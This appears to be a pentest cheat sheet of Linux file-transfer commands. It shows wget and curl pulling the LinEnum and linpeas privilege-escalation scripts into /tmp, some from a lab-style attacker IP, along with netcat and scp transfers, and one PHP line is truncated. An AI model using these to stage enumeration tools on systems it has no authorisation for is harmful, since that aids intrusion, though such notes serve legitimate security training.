Linux
Fast Linux Commands
Command | Description |
---|---|
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh | Download a file using Wget |
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | Download a file using cURL |
php -r ‘$file = file_get_contents(“https:// |
Download a file using PHP |
Wget
wget http://192.168.1.5/linpeas.sh -o linpeas.sh
cURL
curl http://192.168.1.5/hello.txt -o hello.txt
Netcat
Sender
nc -lvp 1234 < test.txt
Receiver
nc -nv 127.0.0.1 1234 > test.txt
SCP
- Copies files between two hosts over SSH
Copy local file to remote system -
scp file.txt remote_username@10.10.10.10:/remote/directory
Copy remote file to local system -
scp remote_username@10.10.10.10:/remote/file.txt /local/directory
Improve scp performance by using blowfish
scp -c blowfish remote_username@10.10.10.10:/remote/directory